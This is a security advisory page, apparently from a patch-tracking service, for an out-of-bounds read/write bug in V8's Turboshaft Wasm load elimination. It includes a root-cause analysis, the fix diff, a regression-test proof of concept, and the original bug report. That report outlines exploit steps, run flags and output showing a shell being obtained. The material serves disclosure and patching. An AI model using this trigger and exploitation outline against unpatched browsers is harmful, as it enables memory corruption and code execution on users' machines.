Overview

High
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactOut of bounds read and write in V8
DescriptionOut of bounds read and write in V8
ComponentV8
Sub-componentWASM
Bug ClassOOB
Action tierpatch-now — corruption primitive, web-reachable in default config (confirmed) — upheld by independent review by AI
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Independent review by AIConfirmed
Reviewer notes: Minor: the regression test disables loop unrolling and peeling, so the diff doesn't show the stock configuration reaching it, though the reducer flaw is unconditional. The OOB effect on the Wasm GC heap is inferred from the test's array-bounds trap.
A second, independent AI reviewer (not a human) re-derived this analysis from the fixing commit and the vendor advisory, looking for errors.
Tracker505481948
Fix commitbb38f8914db9 (v8/v8) +110/-0
CWECWE-125, CWE-787 (Out-of-bounds read, Out-of-bounds write)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
CreditedProject WhatForLunch (@pjwhatforlunch)
Reported2026-04-23 · bounty $55000 (per vendor advisory)
Fix landed2026-04-23 (public git)
Disclosed2026-05-05
Patch gap12 days — fix public in source before the advisory

Background

Turboshaft
V8’s newer compiler IR/backend; the WebAssembly pipeline runs reducers over its operation graph, including a load-elimination reducer.
Wasm Load Elimination
an optimization that removes redundant struct/array field loads by remembering a previously loaded value and replacing later equivalent loads with it.
`replacements_[op_idx]`
a side table mapping an operation index to the OpIndex that should replace it; OpIndex::Invalid() means “no replacement”.
Phi
an SSA merge node combining values from multiple control-flow predecessors; a Phi can be replaced by a single value only if all its inputs are identical.

Root Cause Analysis

The reducer’s Phi-reconciliation routine (enclosing function name not shown in the hunk) decides whether a Phi’s inputs are all identical, and if so records replacements_[op_idx] = first so uses of the Phi collapse to that single value. The removed/old behavior only ever wrote the replacement in the same_inputs case; when a Phi that had tentatively been given a replacement was later re-evaluated and found to have differing inputs (same_inputs == false), the code fell through without clearing the stale entry. As a result replacements_[op_idx] still pointed at a value that is correct on only some incoming paths, so load elimination substituted that value for the Phi on all paths, producing a wrong result for a struct/array field.

The fix adds the else { replacements_[op_idx] = OpIndex::Invalid(); } branch, unsetting the replacement whenever the inputs are not all identical so the Phi is no longer wrongly collapsed. This restores the invariant that a Phi is replaced only while all its inputs remain provably identical.

Key insight
A Phi that was provisionally marked replaceable was never un-marked once its inputs proved non-identical, leaving a stale replacements_ entry; the fix explicitly resets it to OpIndex::Invalid() in the non-identical case.

Attack Path

  1. Build a Wasm module with a merged array reference As in the PoC, define an array type and a struct holding a ref to it, and in a loop merge two different arrays (a large-length array and one loaded from the struct field) into a Phi whose value feeds an array.set.
  2. Provoke the stale replacement Structure the loop so the load-elimination reducer first treats the Phi as having identical inputs (recording a replacement) but later determines the inputs differ, leaving the stale entry uncleared.
  3. Length/reference confusion Load elimination replaces the struct-field load’s Phi with the wrong array reference, so the array.set operates using length/bounds information from an array that differs from the actual runtime object.
  4. Out-of-bounds write The mismatched length lets an index that is out of range for the real (short) array pass code that was compiled against the wrong (long) array, yielding an out-of-bounds read/write into the Wasm GC heap (the specific corrupted object beyond what the PoC exercises is (inferred)).

Impact Assessment

An attacker able to load a crafted WebAssembly module in the renderer can cause the Turboshaft-compiled code to perform out-of-bounds reads and writes on the Wasm GC heap by confusing two array references through a mis-eliminated Phi. The precondition is JIT compilation of the crafted module (the PoC even disables loop unrolling/peeling to shape the loop). The advisory classifies this as out-of-bounds read and write in V8 and does not report exploited-in-the-wild status; escalation to a general primitive or code execution is (inferred).

Changed Functions

FunctionChangeNotes
if
src/compiler/turboshaft/wasm-load-elimination-reducer.h
modified

Files Changed

  • src/compiler/turboshaft/wasm-load-elimination-reducer.h
  • test/mjsunit/regress/wasm/regress-505481948.js

Audit Directions

  • Conditional write-only replacement tables
    Audit reducers that populate a replacements_/value-mapping table under one condition but never clear it when the condition is later negated on re-analysis.
  • Phi equivalence assumptions
    Review every place that replaces or forwards a Phi based on “all inputs identical,” ensuring the decision is invalidated if any input changes during subsequent processing.
  • Load-elimination across control-flow merges
    Examine struct/array field load elimination where merged references from divergent paths can carry differing length/type metadata used for bounds checks.
From bb38f8914db99bd3bed6758132b104a9af00ca04 Mon Sep 17 00:00:00 2001
From: Jakob Kummerow <[email protected]>
Date: Thu, 23 Apr 2026 15:49:16 +0200
Subject: [PATCH] [wasm][turboshaft] Fix Phi handling in Wasm Load Elimination

When a Phi is later found to not have all-identical inputs after
all, we must unset its replacement.

Fixed: 505481948
Change-Id: Ic9d405db231f30859f4e0f8831b2db5c76bdd622
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7789282
Auto-Submit: Jakob Kummerow <[email protected]>
Reviewed-by: Darius Mercadier <[email protected]>
Commit-Queue: Jakob Kummerow <[email protected]>
Cr-Commit-Position: refs/heads/main@{#106779}
---

diff --git a/src/compiler/turboshaft/wasm-load-elimination-reducer.h b/src/compiler/turboshaft/wasm-load-elimination-reducer.h
index 95f6833..a7ccbff 100644
--- a/src/compiler/turboshaft/wasm-load-elimination-reducer.h
+++ b/src/compiler/turboshaft/wasm-load-elimination-reducer.h
@@ -995,6 +995,8 @@
     }
     if (same_inputs) {
       replacements_[op_idx] = first;
+    } else {
+      replacements_[op_idx] = OpIndex::Invalid();
     }
   }
 }
diff --git a/test/mjsunit/regress/wasm/regress-505481948.js b/test/mjsunit/regress/wasm/regress-505481948.js
new file mode 100644
index 0000000..50acc24c
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-505481948.js
@@ -0,0 +1,108 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --nowasm-loop-unrolling --nowasm-loop-peeling
+
+d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js")
+
+const builder = new WasmModuleBuilder();
+
+const arr = builder.addArray(kWasmI32, { final: true });
+const holder = builder.addStruct([makeField(wasmRefType(arr), true)]);
+
+const bigLen = 8;
+const smallLen = 1;
+const victimInit = 0x12345678;
+const expandedVictimLen = 0x40;
+
+const gVictim = builder.addGlobal(wasmRefNullType(arr), true);
+const gHolder = builder.addGlobal(wasmRefNullType(holder), true);
+
+builder.addFunction('expand_victim_length', makeSig([], []))
+  .addLocals(wasmRefType(holder), 1)
+  .addLocals(wasmRefType(arr), 3)
+  .addLocals(kWasmI32, 1)
+  .addBody([
+    kExprI32Const, bigLen,
+    kGCPrefix, kExprArrayNewDefault, arr,
+    kExprLocalSet, 1,
+
+    kExprI32Const, smallLen,
+    kGCPrefix, kExprArrayNewDefault, arr,
+    kExprLocalSet, 2,
+
+    kExprI32Const, smallLen,
+    kGCPrefix, kExprArrayNewDefault, arr,
+    kExprLocalSet, 3,
+
+    kExprLocalGet, 3,
+    kExprI32Const, 0,
+    ...wasmI32Const(victimInit),
+    kGCPrefix, kExprArraySet, arr,
+
+    kExprLocalGet, 1,
+    kGCPrefix, kExprStructNew, holder,
+    kExprLocalSet, 0,
+
+    kExprLocalGet, 3,
+    kExprGlobalSet, gVictim.index,
+    kExprLocalGet, 0,
+    kExprGlobalSet, gHolder.index,
+
+    kExprI32Const, 2,
+    kExprLocalSet, 4,
+
+    kExprLoop, kWasmVoid,
+    kExprLocalGet, 4,
+    kExprI32Const, 2,
+    kExprI32Eq,
+    kExprIf, kWasmRef, arr,
+    kExprLocalGet, 1,
+    kExprElse,
+    kExprLocalGet, 0,
+    kGCPrefix, kExprStructGet, holder, 0,
+    kExprEnd,
+    kExprI32Const, 3,
+    kExprI32Const, expandedVictimLen,
+    kGCPrefix, kExprArraySet, arr,
+
+    kExprLocalGet, 0,
+    kExprLocalGet, 2,
+    kGCPrefix, kExprStructSet, holder, 0,
+
+    kExprLocalGet, 4,
+    kExprI32Const, 1,
+    kExprI32Sub,
+    kExprLocalTee, 4,
+    kExprBrIf, 0,
+    kExprEnd,
+  ])
+  .exportFunc();
+
+builder.addFunction('victim_write', kSig_v_ii)
+  .addBody([
+    kExprGlobalGet, gVictim.index,
+    kExprLocalGet, 0,
+    kExprLocalGet, 1,
+    kGCPrefix, kExprArraySet, arr,
+  ])
+  .exportFunc();
+
+builder.addFunction('get_holder', kSig_r_v)
+  .addBody([
+    kExprGlobalGet, gHolder.index,
+    kGCPrefix, kExprStructGet, holder, 0,
+    kGCPrefix, kExprExternConvertAny,
+  ])
+  .exportFunc();
+
+const instance = builder.instantiate({});
+const wasm = instance.exports;
+
+assertTraps(kTrapArrayOutOfBounds, () => {
+  wasm.expand_victim_length()
+  let addr = 0x10000001;
+  wasm.victim_write(3, addr);
+  wasm.get_holder();
+});
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/regress/wasm/regress-505481948.js b/test/mjsunit/regress/wasm/regress-505481948.js
new file mode 100644
index 0000000..50acc24c
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-505481948.js
@@ -0,0 +1,108 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --nowasm-loop-unrolling --nowasm-loop-peeling
+
+d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js")
+
+const builder = new WasmModuleBuilder();
+
+const arr = builder.addArray(kWasmI32, { final: true });
+const holder = builder.addStruct([makeField(wasmRefType(arr), true)]);
+
+const bigLen = 8;
+const smallLen = 1;
+const victimInit = 0x12345678;
+const expandedVictimLen = 0x40;
+
+const gVictim = builder.addGlobal(wasmRefNullType(arr), true);
+const gHolder = builder.addGlobal(wasmRefNullType(holder), true);
+
+builder.addFunction('expand_victim_length', makeSig([], []))
+  .addLocals(wasmRefType(holder), 1)
+  .addLocals(wasmRefType(arr), 3)
+  .addLocals(kWasmI32, 1)
+  .addBody([
+    kExprI32Const, bigLen,
+    kGCPrefix, kExprArrayNewDefault, arr,
+    kExprLocalSet, 1,
+
+    kExprI32Const, smallLen,
+    kGCPrefix, kExprArrayNewDefault, arr,
+    kExprLocalSet, 2,
+
+    kExprI32Const, smallLen,
+    kGCPrefix, kExprArrayNewDefault, arr,
+    kExprLocalSet, 3,
+
+    kExprLocalGet, 3,
+    kExprI32Const, 0,
+    ...wasmI32Const(victimInit),
+    kGCPrefix, kExprArraySet, arr,
+
+    kExprLocalGet, 1,
+    kGCPrefix, kExprStructNew, holder,
+    kExprLocalSet, 0,
+
+    kExprLocalGet, 3,
+    kExprGlobalSet, gVictim.index,
+    kExprLocalGet, 0,
+    kExprGlobalSet, gHolder.index,
+
+    kExprI32Const, 2,
+    kExprLocalSet, 4,
+
+    kExprLoop, kWasmVoid,
+    kExprLocalGet, 4,
+    kExprI32Const, 2,
+    kExprI32Eq,
+    kExprIf, kWasmRef, arr,
+    kExprLocalGet, 1,
+    kExprElse,
+    kExprLocalGet, 0,
+    kGCPrefix, kExprStructGet, holder, 0,
+    kExprEnd,
+    kExprI32Const, 3,
+    kExprI32Const, expandedVictimLen,
+    kGCPrefix, kExprArraySet, arr,
+
+    kExprLocalGet, 0,
+    kExprLocalGet, 2,
+    kGCPrefix, kExprStructSet, holder, 0,
+
+    kExprLocalGet, 4,
+    kExprI32Const, 1,
+    kExprI32Sub,
+    kExprLocalTee, 4,
+    kExprBrIf, 0,
+    kExprEnd,
+  ])
+  .exportFunc();
+
+builder.addFunction('victim_write', kSig_v_ii)
+  .addBody([
+    kExprGlobalGet, gVictim.index,
+    kExprLocalGet, 0,
+    kExprLocalGet, 1,
+    kGCPrefix, kExprArraySet, arr,
+  ])
+  .exportFunc();
+
+builder.addFunction('get_holder', kSig_r_v)
+  .addBody([
+    kExprGlobalGet, gHolder.index,
+    kGCPrefix, kExprStructGet, holder, 0,
+    kGCPrefix, kExprExternConvertAny,
+  ])
+  .exportFunc();
+
+const instance = builder.instantiate({});
+const wasm = instance.exports;
+
+assertTraps(kTrapArrayOutOfBounds, () => {
+  wasm.expand_victim_length()
+  let addr = 0x10000001;
+  wasm.victim_write(3, addr);
+  wasm.get_holder();
+});
Loading diff…

Original Bug Report

reported by [email protected]

Turboshaft: stale `PhiOp` replacement for Wasm arrays causes `array.len` bounds bypass and out-of-bounds array read/write

Security Bug

Important: Please do not change the component of this bug manually.

Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md

Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs

Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp

NOTE: Security bugs are normally made public once a fix has been widely deployed.


VULNERABILITY DETAILS

Turboshaft: stale PhiOp replacement for Wasm arrays causes array.len bounds bypass and out-of-bounds array read/write

src/compiler/turboshaft/wasm-load-elimination-reducer.h keeps a stale replacement for PhiOp across loop revisits:

void WasmLoadEliminationAnalyzer::ProcessPhi(OpIndex op_idx, const PhiOp& phi) {
  // ...
  if (inputs.size() > 0) {
    bool same_inputs = true;
    OpIndex first = memory_.ResolveBase(inputs.first());
    for (const OpIndex& input : inputs.SubVectorFrom(1)) {
      if (memory_.ResolveBase(input) != first) {
        same_inputs = false;
        break;
      }
    }
    if (same_inputs) {
      replacements_[op_idx] = first;
    }
  }
}

When all phi inputs currently resolve to the same base, ProcessPhi records replacements_[op_idx] = first. The bug is that it never clears replacements_[op_idx] when a later loop revisit makes same_inputs false. Other handlers in the same reducer do clear stale replacement state on the non-eliminated path. For example, both WasmLoadEliminationAnalyzer::ProcessStructGet and WasmLoadEliminationAnalyzer::ProcessArrayLength write:

replacements_[op_idx] = OpIndex::Invalid();

That asymmetry makes phi replacements sticky even after the merged loop state has changed.

We will explain the exploitability in details in next section.

VERSION

V8 Version: 3d73043a08a4fc2234c973646656c9e35245b87f (Wed Apr 22 12:22:48 2026 +0800)

Exploit

We can craft:

  1. A large array big and a small array small.
  2. A mutable struct field initially containing big.
  3. A loop containing an if whose merge result is either big or struct.get holder.field0.
  4. A later struct.set holder.field0 = small on the loop backedge.
  5. An array.len or array.get / array.set on the merged array value in the next iteration.

In pseudo-Wasm:

(type $arr (array (mut i32)))
(type $holder (struct (field (mut (ref $arr)))))

(func (param $n i32) (result i32)
  (local $h (ref $holder))
  (local $big (ref $arr))
  (local $small (ref $arr))
  (local $i i32)
  (local $sum i32)

  i32.const 8
  array.new_default $arr
  local.set $big

  i32.const 1
  array.new_default $arr
  local.set $small

  local.get $big
  struct.new $holder
  local.set $h

  local.get $n
  local.set $i

  loop
    local.get $i
    local.get $n
    i32.eq
    if (result (ref $arr))
      local.get $big
    else
      local.get $h
      struct.get $holder 0
    end
    array.len
    local.get $sum
    i32.add
    local.set $sum

    local.get $h
    local.get $small
    struct.set $holder 0

    local.get $i
    i32.const 1
    i32.sub
    local.tee $i
    br_if 0
  end

  local.get $sum)

WasmLoadEliminationAnalyzer::ProcessWasmAllocateArray seeds the load elimination table with the allocated array’s length, and WasmLoadEliminationAnalyzer::ProcessArrayLength later reuses that entry through ResolveBase(length.array()) and memory_.FindLoadLike(...)

  1. Before the loop, holder.field0 is known to be big, so the first-pass StructGet(holder, 0) is eliminated to big.
  2. The if merge phi therefore has inputs (big, big) on the first pass, and ProcessPhi records replacements_[phi] = big.
  3. The backedge StructSet(holder, 0, small) changes the tracked field from big to small, so the loop is revisited.
  4. On the revisit, StructGet(holder, 0) is no longer eliminated from the merged snapshot and ProcessStructGet clears its own replacement.
  5. The phi is now merging (big, StructGet(holder, 0)), so it is no longer equal-input. ProcessPhi leaves the old replacements_[phi] = big intact.
  6. ProcessArrayLength still resolves the phi to big, so array.len keeps returning 8 even on iterations where the runtime array is small and its true length is 1.

With that we can have the initial out-of-bounds access primitive, then we can corrupt the length of an array or simply write to another field to bootstrap fakeobj primitive.

getshell.js is attached.

Note that we inlined the wasm builder for easy reproduction with clusterfuzz

Please scroll down to check the real exploit part

Compile with args.gn:

dcheck_always_on = false
is_debug = false
target_cpu = "x64"
is_component_build = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_sandbox = false

Please run with:

./out.gn/x64.release/d8 --allow-natives-syntax --no-liftoff --no-wasm-loop-unrolling --no-wasm-loop-peeling getshell.js

expected output:

./out.gn/x64.release/d8 --allow-natives-syntax --no-liftoff --no-wasm-loop-unrolling --no-wasm-loop-peeling getshell.js
[*] EOF wasm builder
[*] Exploit by Project WhatForLunch
[+] victim.length corruption primed;victim[0]=0x12345678
[+] cage base: 0x00002c1300000000
[+] partition alloc: 0x00000ebc00000000
[+] code ptr table: 0x00007f75ce904000
[+] dispatch handle: 0x000000000013da00, table offset: 0x0000000000013da0
[+] rwx addr: 0x0000561be0013700
[+] 🥺 get shell
sh-5.3# echo pwned
pwned
sh-5.3# 

Please include a demonstration of the security bug, such as an attached HTML or binary file that reproduces the bug when loaded in Chrome. PLEASE make the file as small as possible and remove any content not required to demonstrate the bug, or any personal or confidential information.

Please attach files directly, not in zip or other archive formats, and if you’ve created a demonstration site please also attach the files needed to reproduce the demonstration locally.

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION

Type of crash: Arbitrary memory access

CREDIT INFORMATION

Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited?

Reporter credit: Project WhatForLunch (@pjwhatforlunch)

View on issue tracker